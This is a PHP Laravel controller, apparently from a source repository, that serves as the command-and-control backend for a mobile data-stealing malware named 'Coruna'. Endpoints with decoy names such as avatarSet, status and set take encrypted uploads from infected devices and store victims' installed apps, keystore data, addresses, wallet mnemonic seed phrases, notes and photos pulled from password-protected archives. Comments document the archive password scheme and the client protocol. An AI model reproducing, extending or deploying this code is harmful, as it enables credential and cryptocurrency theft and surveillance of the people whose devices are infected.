215 lines
7.3 KiB
PHP
215 lines
7.3 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\C2;
|
|
|
|
use App\Http\Controllers\Controller;
|
|
use App\Services\CorunaArchive;
|
|
use App\Services\CorunaCrypto;
|
|
use App\Services\IngestService;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Http\Response;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class C2Controller extends Controller
|
|
{
|
|
/** @var CorunaCrypto */
|
|
private $crypto;
|
|
|
|
/** @var CorunaArchive */
|
|
private $archive;
|
|
|
|
/** @var IngestService */
|
|
private $ingest;
|
|
|
|
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
|
{
|
|
$this->crypto = $crypto;
|
|
$this->archive = $archive;
|
|
$this->ingest = $ingest;
|
|
}
|
|
|
|
public function query(): Response
|
|
{
|
|
return response('OK', 200)->header('Content-Type', 'text/plain');
|
|
}
|
|
|
|
public function avatarSet(Request $request): Response
|
|
{
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function userGet(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestInstalledApps($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
|
}
|
|
|
|
public function avatarPut(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
// Trusted channel_id source; updates touch updated_at (+ channel_id only if empty).
|
|
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestDeviceEvent($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function avatarStatus(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestKeystore($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function status(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestAddresses($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function set(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device && is_array($payload)) {
|
|
$this->ingest->ingestMnemonic($device, $payload);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function check(Request $request): Response
|
|
{
|
|
$rawKey = $request->attributes->get('coruna_device_key')
|
|
?: $request->input('d')
|
|
?: $request->input('f');
|
|
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
|
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
|
: null;
|
|
$device = $this->ingest->ensureDevice(
|
|
$request,
|
|
array_filter([
|
|
'd' => $deviceKey,
|
|
'c' => $request->input('c'),
|
|
'channel' => $request->input('channel'),
|
|
]),
|
|
$deviceKey
|
|
);
|
|
|
|
// Archive password = session_key || batchBaseTimestampString.
|
|
// Fresh scan: multipart `ts` is "0". Later batches send LastProcessedTimestamp
|
|
// in `ts` (e.g. "1785596422") — must not fall back to "0" or 7z won't open.
|
|
$batchBase = (string) ($request->input('batchBase')
|
|
?? $request->input('batch_base')
|
|
?? $request->input('base')
|
|
?? $request->input('ts')
|
|
?? '0');
|
|
if ($batchBase === '') {
|
|
$batchBase = '0';
|
|
}
|
|
|
|
$xHitRaw = $request->input('x-hit');
|
|
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
|
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
|
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
|
$photoMeta = [
|
|
'x_hit' => $xHit,
|
|
'upload_count' => $uploadCount,
|
|
'process_index' => $processIndex,
|
|
'text_count' => $textCount,
|
|
'barcode_count' => $barcodeCount,
|
|
];
|
|
|
|
$attachmentRel = null;
|
|
if ($request->hasFile('file') && $device) {
|
|
$bytes = file_get_contents($request->file('file')->getRealPath());
|
|
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
|
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
|
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
|
Storage::disk('local')->makeDirectory($attachmentRel);
|
|
if (! empty($extracted['files'])) {
|
|
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
|
}
|
|
create_log([
|
|
'event' => 'check_extract',
|
|
'device_key' => $device->device_id,
|
|
'attachment_path' => $attachmentRel,
|
|
'extract' => [
|
|
'ok' => $extracted['ok'],
|
|
'files' => array_map('basename', $extracted['files']),
|
|
'password_recipe' => $extracted['password_recipe'],
|
|
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
|
],
|
|
'photo_meta' => $photoMeta,
|
|
'raw_counters' => [
|
|
'idx' => $request->input('idx'),
|
|
'ftu' => $request->input('ftu'),
|
|
'ts' => $request->input('ts'),
|
|
'x-hit' => $xHitRaw,
|
|
],
|
|
], 'c2');
|
|
}
|
|
|
|
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function avatarPic(Request $request): Response
|
|
{
|
|
$payload = $request->attributes->get('coruna_payload');
|
|
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
|
if ($device) {
|
|
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
|
|
}
|
|
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function profileNop(Request $request): Response
|
|
{
|
|
return $this->encryptedAck();
|
|
}
|
|
|
|
public function linkConfigList(Request $request): Response
|
|
{
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
|
}
|
|
|
|
public function linkConfigIcon(Request $request): Response
|
|
{
|
|
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
|
}
|
|
|
|
/**
|
|
* @param mixed $data
|
|
*/
|
|
private function encryptedAck($data = null): Response
|
|
{
|
|
if ($data === null) {
|
|
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
|
|
}
|
|
$enc = $this->crypto->encryptJson($data);
|
|
|
|
return response($enc['body'], 200)
|
|
->header('Content-Type', 'text/plain')
|
|
->header('timestamp', $enc['timestamp']);
|
|
}
|
|
|
|
}
|